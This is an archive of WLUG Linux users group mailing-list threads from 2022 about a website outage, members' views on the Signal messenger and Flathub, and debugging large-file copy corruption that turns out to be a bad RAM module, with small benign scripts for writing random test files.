May 9, 2022

Re: Website down..

by Tim Keller

Thanks Chuck! On Fri, May 6, 2022 at 11:08 PM Chuck Anderson <cra(a)fea.st> wrote: > On Fri, May 06, 2022 at 08:15:10PM -0400, Tim Keller via WLUG wrote: > > The website seems to be offline, looking into it.. > > > > No worries, there's still a meeting next Thursday! > > Fixed. Oracle deleted the public IP from the virtual NIC. I'm not > sure if it was because it was an "ephemeral public IP" (it lasted at > least 2 years), but this time I created a "reserved public IP" and > updated the DNS registrar and all the DNS servers. > -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

May 7, 2022

Re: Website down..

by Chuck Anderson

On Fri, May 06, 2022 at 08:15:10PM -0400, Tim Keller via WLUG wrote: > The website seems to be offline, looking into it.. > > No worries, there's still a meeting next Thursday! Fixed. Oracle deleted the public IP from the virtual NIC. I'm not sure if it was because it was an "ephemeral public IP" (it lasted at least 2 years), but this time I created a "reserved public IP" and updated the DNS registrar and all the DNS servers.

May 7, 2022

Website down..

by Tim Keller

The website seems to be offline, looking into it.. No worries, there's still a meeting next Thursday! Thanks, Tim.

May 7, 2022

Re: Signal Messenger App Update

by Joshua Stone

Absolutely! Flathub is my go-to for installing desktop applications. It's designed specifically to distribute applications in a distro-agnostic way, and it comes with a permissions system that lets you grant/remove permissions so an application doesn't have access to more resources than it should: https://flathub.org/apps/details/com.github.tchx84.Flatseal Flathub is quite transparent with how it builds packages, and in the case of the Signal flatpak it essentially unpacks the upstream .deb package and adds some modifications to make it work within the sandbox: https://github.com/flathub/org.signal.Signal/blob/master/org.signal.Signal.… https://flathub.org/builds/#/apps/org.signal.Signal If you're already running Debian/Ubuntu, then the .deb package will be fine, but for any other distribution installing Signal from flathub is almost always the best method. It's really no more trustworthy than any other Linux distribution where you have downstream maintainers package software for better integration. - Josh On Wed, May 4, 2022 at 2:16 PM The Hammer <hammerron(a)yahoo.com> wrote: > Do you think that the Flathub source is safe to trust? > > On Wednesday, May 4, 2022, 01:35:53 PM EDT, Joshua Stone via WLUG < > wlug(a)lists.wlug.org> wrote: > > > Glad to hear it's working out for you, Ron! > > I recommend installing the desktop client which will sync messages between > your desktop and phone: > > https://flathub.org/apps/details/org.signal.Signal > https://signal.org/download/ > > - Josh > > On Wed, May 4, 2022 at 12:10 PM THE HAMMER via WLUG <wlug(a)lists.wlug.org> > wrote: > > Thank all for the great info. > > I've started using it and so far, I am a happy camper. > > Ron > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/45KV5… > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/QF662… >

May 4, 2022

Re: Signal Messenger App Update

by The Hammer

Do you think that the Flathub source is safe to trust? On Wednesday, May 4, 2022, 01:35:53 PM EDT, Joshua Stone via WLUG <wlug(a)lists.wlug.org> wrote: Glad to hear it's working out for you, Ron! I recommend installing the desktop client which will sync messages between your desktop and phone: https://flathub.org/apps/details/org.signal.Signalhttps://signal.org/downlo… - Josh On Wed, May 4, 2022 at 12:10 PM THE HAMMER via WLUG <wlug(a)lists.wlug.org> wrote: Thank all for the great info. I've started using it and so far, I am a happy camper. Ron _______________________________________________ WLUG mailing list -- wlug(a)lists.wlug.org To unsubscribe send an email to wlug-leave(a)lists.wlug.org Create Account: https://wlug.mailman3.com/accounts/signup/ Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/45KV5… _______________________________________________ WLUG mailing list -- wlug(a)lists.wlug.org To unsubscribe send an email to wlug-leave(a)lists.wlug.org Create Account: https://wlug.mailman3.com/accounts/signup/ Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/QF662…

May 4, 2022

Re: Signal Messenger App Update

by Joshua Stone

Glad to hear it's working out for you, Ron! I recommend installing the desktop client which will sync messages between your desktop and phone: https://flathub.org/apps/details/org.signal.Signal https://signal.org/download/ - Josh On Wed, May 4, 2022 at 12:10 PM THE HAMMER via WLUG <wlug(a)lists.wlug.org> wrote: > Thank all for the great info. > > I've started using it and so far, I am a happy camper. > > Ron > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/45KV5… >

May 4, 2022

Signal Messenger App Update

by THE HAMMER

Thank all for the great info. I've started using it and so far, I am a happy camper. Ron

May 4, 2022

Re: Signal Messenger App

by Joshua Stone

My friends and I use Signal as a replacement for SMS/MMS. It works very well for the following reasons: - E2E encryption is baked-in for text messages, voice calls, and video calls - Has an excellent security track record and is recommended by various security experts - Supports arbitrary file attachment types like PDF - Has very good video attachment quality - Works over wi-fi automatically, which is especially important for avoiding roaming data usage while traveling internationally - Has message replies and reactions - Groups can be shared via URLs: WLUG group - https://signal.group/#CjQKIB4V_icJ7j26US0jRIAZoQtCbNXPk5LAm9qSyKGOhiEBEhBbD… As far as chat platforms are concerned, it has a very good balance of usability and security. I wholly recommend it for anyone trying to move away from SMS/MMS. - Josh On Sun, May 1, 2022 at 7:08 PM Eric Martin via WLUG <wlug(a)lists.wlug.org> wrote: > Yes, I’m ok with that. Their privacy policy says they don’t collect info > > https://signal.org/legal/ and it’s open source: > https://github.com/signalapp > Also Bruce Schneier and Edward Snowden like it. > Eric > > On May 1, 2022, at 09:14, hammerron via WLUG <wlug(a)lists.wlug.org> wrote: > > > > Do you allow it access to your contacts/ are you comfortable with that? > On 5/1/22 08:11, Logan Brown via WLUG wrote: > > I've been using it daily since ~2014. On Android it acts as my default SMS > application. It does what it says on the tin, and it's kept up with adding > features to be on par with other messaging applications. > > > Logan > > ------------------------------ > *From:* hammerron via WLUG <wlug(a)lists.wlug.org> <wlug(a)lists.wlug.org> > *Sent:* Sunday, May 1, 2022, 08:09 > *To:* WLUG List <wlug(a)lists.wlug.org> <wlug(a)lists.wlug.org> > *Cc:* hammerron <hammerron(a)hotmail.com> <hammerron(a)hotmail.com> > *Subject:* [WLUG] Signal Messenger App > > Hey Gang, > > Does any one use Signal? > > Wondering if anyone has and thoughts on it good or bad. I'm trying to > decide if I should install or not. > > Ron > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/B6LDE… > > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/JOACD… > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/WZNNV… > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/6SKU7… >

May 3, 2022

Re: Signal Messenger App

by Eric Martin

Yes, I’m ok with that. Their privacy policy says they don’t collect info https://signal.org/legal/ and it’s open source: https://github.com/signalapp Also Bruce Schneier and Edward Snowden like it. Eric > On May 1, 2022, at 09:14, hammerron via WLUG <wlug(a)lists.wlug.org> wrote: > > > Do you allow it access to your contacts/ are you comfortable with that? > > On 5/1/22 08:11, Logan Brown via WLUG wrote: >> I've been using it daily since ~2014. On Android it acts as my default SMS application. It does what it says on the tin, and it's kept up with adding features to be on par with other messaging applications. >> >> >> Logan >> >> From: hammerron via WLUG <wlug(a)lists.wlug.org> >> Sent: Sunday, May 1, 2022, 08:09 >> To: WLUG List <wlug(a)lists.wlug.org> >> Cc: hammerron <hammerron(a)hotmail.com> >> Subject: [WLUG] Signal Messenger App >> >> Hey Gang, >> >> Does any one use Signal? >> >> Wondering if anyone has and thoughts on it good or bad. I'm trying to >> decide if I should install or not. >> >> Ron >> >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/B6LDE… >> >> >> >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/JOACD… > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/WZNNV…

May 1, 2022

Re: Signal Messenger App

by hammerron

Do you allow it access to your contacts/ are you comfortable with that? On 5/1/22 08:11, Logan Brown via WLUG wrote: > I've been using it daily since ~2014. On Android it acts as my default > SMS application. It does what it says on the tin, and it's kept up > with adding features to be on par with other messaging applications. > > > Logan > > ------------------------------------------------------------------------ > *From:* hammerron via WLUG <wlug(a)lists.wlug.org> > *Sent:* Sunday, May 1, 2022, 08:09 > *To:* WLUG List <wlug(a)lists.wlug.org> > *Cc:* hammerron <hammerron(a)hotmail.com> > *Subject:* [WLUG] Signal Messenger App > > Hey Gang, > > Does any one use Signal? > > Wondering if anyone has and thoughts on it good or bad. I'm trying to > decide if I should install or not. > > Ron > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/B6LDE… > > > _______________________________________________ > WLUG mailing list --wlug(a)lists.wlug.org > To unsubscribe send an email towlug-leave(a)lists.wlug.org > Create Account:https://wlug.mailman3.com/accounts/signup/ > Change Settings:https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive:https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org…

May 1, 2022

Re: Signal Messenger App

by Eric Martin

Hi Ron, I can’t recommend it enough. I work for a Cybersecurity company as an analyst, and the senior staff in my group have a signal chat for out of band / backup communications. I recommend to everybody to use it for out of band, since if your email is compromised it is a bad idea to discuss that compromise with your coworkers over email. It’s also great to have secure cross platform communications. I do not have an android phone, yet I can securely chat with my friends who do. If I recall correctly, it’s using PGP under the hood to encrypt and sign messages. Eric > On May 1, 2022, at 08:11, Logan Brown via WLUG <wlug(a)lists.wlug.org> wrote: > > > I've been using it daily since ~2014. On Android it acts as my default SMS application. It does what it says on the tin, and it's kept up with adding features to be on par with other messaging applications. > > > Logan > > From: hammerron via WLUG <wlug(a)lists.wlug.org> > Sent: Sunday, May 1, 2022, 08:09 > To: WLUG List <wlug(a)lists.wlug.org> > Cc: hammerron <hammerron(a)hotmail.com> > Subject: [WLUG] Signal Messenger App > > Hey Gang, > > Does any one use Signal? > > Wondering if anyone has and thoughts on it good or bad. I'm trying to > decide if I should install or not. > > Ron > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/B6LDE… > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/JOACD…

May 1, 2022

Re: Signal Messenger App

by Logan Brown

I've been using it daily since ~2014. On Android it acts as my default SMS application. It does what it says on the tin, and it's kept up with adding features to be on par with other messaging applications. Logan ________________________________ From: hammerron via WLUG <wlug(a)lists.wlug.org> Sent: Sunday, May 1, 2022, 08:09 To: WLUG List <wlug(a)lists.wlug.org> Cc: hammerron <hammerron(a)hotmail.com> Subject: [WLUG] Signal Messenger App Hey Gang, Does any one use Signal? Wondering if anyone has and thoughts on it good or bad. I'm trying to decide if I should install or not. Ron _______________________________________________ WLUG mailing list -- wlug(a)lists.wlug.org To unsubscribe send an email to wlug-leave(a)lists.wlug.org Create Account: https://wlug.mailman3.com/accounts/signup/ Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/B6LDE…

May 1, 2022

Signal Messenger App

by hammerron

Hey Gang, Does any one use Signal? Wondering if anyone has and thoughts on it good or bad. I'm trying to decide if I should install or not. Ron

May 1, 2022

Re: Possible linux or hardware bug?

by Kevin Stratton

If I understand this one liner correctly, dd is transferring 82 blocks of size 104857600. My original testing was: sudo /dev/random > bigfile And I monitored the size of the file with ls -l in a different terminal. Then I CTRL-C to stop the transfer. LInux is not a major part of my vocation (today?) At risk of being a "broken record", my problem has been solved by fixing my ram. I can now work with a 71.8GB zip with no issues. On 4/29/2022 6:05 PM, Chuck Anderson wrote: > Why not just use "dd": > > dd if=/dev/urandom bs=104857600 count=82 of=bigfile > > On Fri, Apr 29, 2022 at 01:03:19PM -0400, Joshua Stone via WLUG wrote: >> Yeah I was thinking about how to minimize resource usage, as Python has a >> much larger runtime compared to a compiled-compiled program. >> >> I've ported the Python program to Rust: >> >> https://gist.github.com/joshua-stone/576e5826302a720331a2686f25c957f1 >> >> When compiled with MUSL, LTO, and static-linking, then finally run through >> `strip`, it'll produce a 391KB binary with no external libraries, not even >> glibc! >> >> I'm sure plenty can be done to further optimize memory footprint, but this >> has been a fun exercise already. >> >> On Fri, Apr 29, 2022 at 11:05 AM Kevin Stratton via WLUG < >> wlug(a)lists.wlug.org> wrote: >> >>> Thank you everyone for your attention to this. >>> >>> I was able to get a free (as in free beer) memtest86 installed on a USB >>> drive. Memtest86 did lead me to a bad memory module. I am operating on >>> 1/2 ram until I get a replacement ram module. Memtest86+ does not seem >>> ready for a "secure boot" environment. >>> >>> When I did the copy I was talking about, I was in the folder that the file >>> exists: I did a simple "cp file file2 "with no options. There was no >>> error messages of any kind, the ram issue was silent, if I recall correctly >>> the bad copied file was always the same size as the original. The issue >>> lead to this was that I could not install a very large software package. I >>> would have random issues that were related to a corrupted file. >>> >>> I wanted to use the minimum resources possible withe C code to eliminate >>> confounding factors. >>> >>> I am currently downloading the file and I will try to install the >>> application today.

April 30, 2022

Re: Possible linux or hardware bug?

by Chuck Anderson

Why not just use "dd": dd if=/dev/urandom bs=104857600 count=82 of=bigfile On Fri, Apr 29, 2022 at 01:03:19PM -0400, Joshua Stone via WLUG wrote: > Yeah I was thinking about how to minimize resource usage, as Python has a > much larger runtime compared to a compiled-compiled program. > > I've ported the Python program to Rust: > > https://gist.github.com/joshua-stone/576e5826302a720331a2686f25c957f1 > > When compiled with MUSL, LTO, and static-linking, then finally run through > `strip`, it'll produce a 391KB binary with no external libraries, not even > glibc! > > I'm sure plenty can be done to further optimize memory footprint, but this > has been a fun exercise already. > > On Fri, Apr 29, 2022 at 11:05 AM Kevin Stratton via WLUG < > wlug(a)lists.wlug.org> wrote: > > > Thank you everyone for your attention to this. > > > > I was able to get a free (as in free beer) memtest86 installed on a USB > > drive. Memtest86 did lead me to a bad memory module. I am operating on > > 1/2 ram until I get a replacement ram module. Memtest86+ does not seem > > ready for a "secure boot" environment. > > > > When I did the copy I was talking about, I was in the folder that the file > > exists: I did a simple "cp file file2 "with no options. There was no > > error messages of any kind, the ram issue was silent, if I recall correctly > > the bad copied file was always the same size as the original. The issue > > lead to this was that I could not install a very large software package. I > > would have random issues that were related to a corrupted file. > > > > I wanted to use the minimum resources possible withe C code to eliminate > > confounding factors. > > > > I am currently downloading the file and I will try to install the > > application today.

April 29, 2022

Re: Possible linux or hardware bug?

by Joshua Stone

Yeah I was thinking about how to minimize resource usage, as Python has a much larger runtime compared to a compiled-compiled program. I've ported the Python program to Rust: https://gist.github.com/joshua-stone/576e5826302a720331a2686f25c957f1 When compiled with MUSL, LTO, and static-linking, then finally run through `strip`, it'll produce a 391KB binary with no external libraries, not even glibc! I'm sure plenty can be done to further optimize memory footprint, but this has been a fun exercise already. On Fri, Apr 29, 2022 at 11:05 AM Kevin Stratton via WLUG < wlug(a)lists.wlug.org> wrote: > Thank you everyone for your attention to this. > > I was able to get a free (as in free beer) memtest86 installed on a USB > drive. Memtest86 did lead me to a bad memory module. I am operating on > 1/2 ram until I get a replacement ram module. Memtest86+ does not seem > ready for a "secure boot" environment. > > When I did the copy I was talking about, I was in the folder that the file > exists: I did a simple "cp file file2 "with no options. There was no > error messages of any kind, the ram issue was silent, if I recall correctly > the bad copied file was always the same size as the original. The issue > lead to this was that I could not install a very large software package. I > would have random issues that were related to a corrupted file. > > I wanted to use the minimum resources possible withe C code to eliminate > confounding factors. > > I am currently downloading the file and I will try to install the > application today. > > On 4/28/2022 4:44 PM, Doug Mildram wrote: > > doug> I manually added Kevin back > ....full blown (Kevin Stratton <kstratton(a)fastmail.us> style) > on my reply header above. > I just like seeing it. Or causing trouble. > Ignore and/or X-out ifyou hit reply here..pardon the noise. > > THE BIG FILE debug. In general, first I think it's very cool > appropriate to post an (easy-ish) C-code read/write task! > I stripped comments, repasted below, pardon again: > > #define NUMBER 0x1FFFFFFFF // copies without md5 detected error,file len > 8589934591 > int main() > { > FILE * fp; > uint32_t rand; > uint64_t count; > > fp= fopen ("bigfile","w+"); > for (count=0;count<NUMBER;count++) > { > rand = random(); > fwrite(&rand,sizeof(random),1,fp); } > fclose (fp); > return 0; > } > > dmildram/doug> First, try the memtest86+ , reply-to-list, > and i hope we swap stories on memtest later > after we figure out your fun puzzle, > I definitely want to hear where you ran into (+found) trouble! > BUT you didn't show the shell command (syntax) > that YOU RAN...was it quiet output? (what was the output?) > OR... did you get error messages > or stop midway on you? I await your chapter 2.... > as you said it could be HW, is semi-random > AND i don't get your whole story yet (close...) --doug > > > > > > On Thu, Apr 28, 2022 at 11:55 AM Kevin Stratton via WLUG < > wlug(a)lists.wlug.org> wrote: > >> >> I have been chasing my tail trying to download a very large to my >> desktop. The bug is strange enough that it might be specific to hardware. >> >> The issue is that I can not copy very large files accurately. The >> threshold value size of the file seems to be about 8589934592. Any file >> this size or larger seems to be uncopyable on my desktop. >> >> I had downloaded a corrupted file of 71.9GB with Ubuntu 20.04, Ubuntu >> 22.04, Windows 10 virtua machine running under Ubuntu 20.04, Manjaro. All >> of theses OS;s were running on the same hardware. >> >> I had no issues downloading the file from a raspberry pi with and >> external hard drive. >> >> I have included the C file I used to create the files which also has some >> notes opn the results of the tests. >> >> >> >> Any advice or help would be appreciated. >> >> >> >> >> >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> Change Settings: >> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> Web Forum/Archive: >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/UQDQP… >> > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/IHIQQ… >

April 29, 2022

Re: Possible linux or hardware bug?

by Kevin Stratton

Thank you everyone for your attention to this. I was able to get a free (as in free beer) memtest86 installed on a USB drive. Memtest86 did lead me to a bad memory module. I am operating on 1/2 ram until I get a replacement ram module. Memtest86+ does not seem ready for a "secure boot" environment. When I did the copy I was talking about, I was in the folder that the file exists: I did a simple "cp file file2 "with no options. There was no error messages of any kind, the ram issue was silent, if I recall correctly the bad copied file was always the same size as the original. The issue lead to this was that I could not install a very large software package. I would have random issues that were related to a corrupted file. I wanted to use the minimum resources possible withe C code to eliminate confounding factors. I am currently downloading the file and I will try to install the application today. On 4/28/2022 4:44 PM, Doug Mildram wrote: > doug> I manually added Kevin back > ....full blown (Kevin Stratton <kstratton(a)fastmail.us> style) > on my reply header above. > I just like seeing it. Or causing trouble. > Ignore and/or X-out ifyou hit reply here..pardon the noise. > > THE BIG FILE debug. In general, first I think it's very cool > appropriate to post an (easy-ish) C-code read/write task! > I stripped comments, repasted below, pardon again: > > #define NUMBER 0x1FFFFFFFF // copies without md5 detected error,file > len 8589934591 > int main() > { > FILE * fp; > uint32_t rand; > uint64_t count; > > fp= fopen ("bigfile","w+"); > for (count=0;count<NUMBER;count++) > { > rand = random(); > fwrite(&rand,sizeof(random),1,fp); } > fclose (fp); > return 0; > } > > dmildram/doug> First, try the memtest86+ , reply-to-list, > and i hope we swap stories on memtest later > after we figure out your fun puzzle, > I definitely want to hear where you ran into (+found) trouble! > BUT you didn't show the shell command (syntax) > that YOU RAN...was it quiet output? (what was the output?) > OR... did you get error messages > or stop midway on you? I await your chapter 2.... > as you said it could be HW, is semi-random > AND i don't get your whole story yet (close...) --doug > > > > > > On Thu, Apr 28, 2022 at 11:55 AM Kevin Stratton via WLUG > <wlug(a)lists.wlug.org> wrote: > > > I have been chasing my tail trying to download a very large to my > desktop. The bug is strange enough that it might be specific to > hardware. > > The issue is that I can not copy very large files accurately. The > threshold value size of the file seems to be about 8589934592. > Any file this size or larger seems to be uncopyable on my desktop. > > I had downloaded a corrupted file of 71.9GB with Ubuntu 20.04, > Ubuntu 22.04, Windows 10 virtua machine running under Ubuntu > 20.04, Manjaro. All of theses OS;s were running on the same > hardware. > > I had no issues downloading the file from a raspberry pi with and > external hard drive. > > I have included the C file I used to create the files which also > has some notes opn the results of the tests. > > > > Any advice or help would be appreciated. > > > > > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/UQDQP… >

April 29, 2022

Re: Possible linux or hardware bug?

by Joshua Stone

As an aside, it's generally a good idea to use larger chunk sizes to make random data generation run faster. The Python example below can generate 4GB of random data in about 10s on my laptop: #!/usr/bin/env python3 import os CHUNK_SIZE = 2 ** 16 NUMBER = 0x100000000 # 2^32 copies without md5 detected error, file legnth 4294967296 #NUMBER = 0x400000000 # 4*2^32 copies are erroneous from md5sum, file legnth 17179869184 #NUMBER = 0x200000000 # 2*2^32 copies are erroneous from md5sum, file legnth 8589934592 #NUMBER = 0x100000001 # 2^32+1 copies without md5 detected error, file legnth 4294967297 #NUMBER = 0x180000000 # copies without md5 detected error, file legnth 6442450944 #NUMBER = 0x1FFFFFFFF def write_file(length, chunk_size): with open('bigfile', 'wb') as outfile: for _ in range(length // chunk_size): outfile.write(os.urandom(chunk_size)) def main(): write_file(NUMBER, CHUNK_SIZE) if __name__ == '__main__': main() On Thu, Apr 28, 2022 at 8:46 PM Kevin Stratton via WLUG <wlug(a)lists.wlug.org> wrote: > Thank you for reminding me about memtest86, I had a bad memory module. > I am trying to RMA it now. It seems unlikely that the memory would go > bad after about a year. Live and learn.... > > Ubuntu just updated to 22.04 with the kernel 5.15.0-27-genericOn > 4/28/2022 1:56 PM, Chuck Anderson wrote: > > > What are the kernel version(s)? What filesystem? > > > > I suggest: > > > > - Try memtest86+ > > > > - Try a live Fedora 35 on a USB stick since all your other tests were > > relying on Ubuntu, even the Windows 10 which was a VM on Ubuntu. > > Fedora usually has much newer kernels, so if there is a Linux bug, > > it might be fixed already. > > > > On Thu, Apr 28, 2022 at 11:55:04AM -0400, Kevin Stratton via WLUG wrote: > >> I have been chasing my tail trying to download a very large to my > desktop. The bug is strange enough that it might be specific to hardware. > >> > >> The issue is that I can not copy very large files accurately. The > threshold value size of the file seems to be about 8589934592. Any file > this size or larger seems to be uncopyable on my desktop. > >> > >> I had downloaded a corrupted file of 71.9GB with Ubuntu 20.04, Ubuntu > 22.04, Windows 10 virtua machine running under Ubuntu 20.04, Manjaro. All > of theses OS;s were running on the same hardware. > >> > >> I had no issues downloading the file from a raspberry pi with and > external hard drive. > >> > >> I have included the C file I used to create the files which also has > some notes opn the results of the tests. > >> > >> > >> > >> Any advice or help would be appreciated. > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/H4Y3U… >

April 29, 2022

Re: Possible linux or hardware bug?

by Kevin Stratton

Thank you for reminding me about memtest86, I had a bad memory module. I am trying to RMA it now. It seems unlikely that the memory would go bad after about a year. Live and learn.... Ubuntu just updated to 22.04 with the kernel 5.15.0-27-genericOn 4/28/2022 1:56 PM, Chuck Anderson wrote: > What are the kernel version(s)? What filesystem? > > I suggest: > > - Try memtest86+ > > - Try a live Fedora 35 on a USB stick since all your other tests were > relying on Ubuntu, even the Windows 10 which was a VM on Ubuntu. > Fedora usually has much newer kernels, so if there is a Linux bug, > it might be fixed already. > > On Thu, Apr 28, 2022 at 11:55:04AM -0400, Kevin Stratton via WLUG wrote: >> I have been chasing my tail trying to download a very large to my desktop. The bug is strange enough that it might be specific to hardware. >> >> The issue is that I can not copy very large files accurately. The threshold value size of the file seems to be about 8589934592. Any file this size or larger seems to be uncopyable on my desktop. >> >> I had downloaded a corrupted file of 71.9GB with Ubuntu 20.04, Ubuntu 22.04, Windows 10 virtua machine running under Ubuntu 20.04, Manjaro. All of theses OS;s were running on the same hardware. >> >> I had no issues downloading the file from a raspberry pi with and external hard drive. >> >> I have included the C file I used to create the files which also has some notes opn the results of the tests. >> >> >> >> Any advice or help would be appreciated.

April 29, 2022

Re: Possible linux or hardware bug?

by Doug Mildram

doug> I manually added Kevin back ....full blown (Kevin Stratton <kstratton(a)fastmail.us> style) on my reply header above. I just like seeing it. Or causing trouble. Ignore and/or X-out ifyou hit reply here..pardon the noise. THE BIG FILE debug. In general, first I think it's very cool appropriate to post an (easy-ish) C-code read/write task! I stripped comments, repasted below, pardon again: #define NUMBER 0x1FFFFFFFF // copies without md5 detected error,file len 8589934591 int main() { FILE * fp; uint32_t rand; uint64_t count; fp= fopen ("bigfile","w+"); for (count=0;count<NUMBER;count++) { rand = random(); fwrite(&rand,sizeof(random),1,fp); } fclose (fp); return 0; } dmildram/doug> First, try the memtest86+ , reply-to-list, and i hope we swap stories on memtest later after we figure out your fun puzzle, I definitely want to hear where you ran into (+found) trouble! BUT you didn't show the shell command (syntax) that YOU RAN...was it quiet output? (what was the output?) OR... did you get error messages or stop midway on you? I await your chapter 2.... as you said it could be HW, is semi-random AND i don't get your whole story yet (close...) --doug On Thu, Apr 28, 2022 at 11:55 AM Kevin Stratton via WLUG < wlug(a)lists.wlug.org> wrote: > > I have been chasing my tail trying to download a very large to my > desktop. The bug is strange enough that it might be specific to hardware. > > The issue is that I can not copy very large files accurately. The > threshold value size of the file seems to be about 8589934592. Any file > this size or larger seems to be uncopyable on my desktop. > > I had downloaded a corrupted file of 71.9GB with Ubuntu 20.04, Ubuntu > 22.04, Windows 10 virtua machine running under Ubuntu 20.04, Manjaro. All > of theses OS;s were running on the same hardware. > > I had no issues downloading the file from a raspberry pi with and external > hard drive. > > I have included the C file I used to create the files which also has 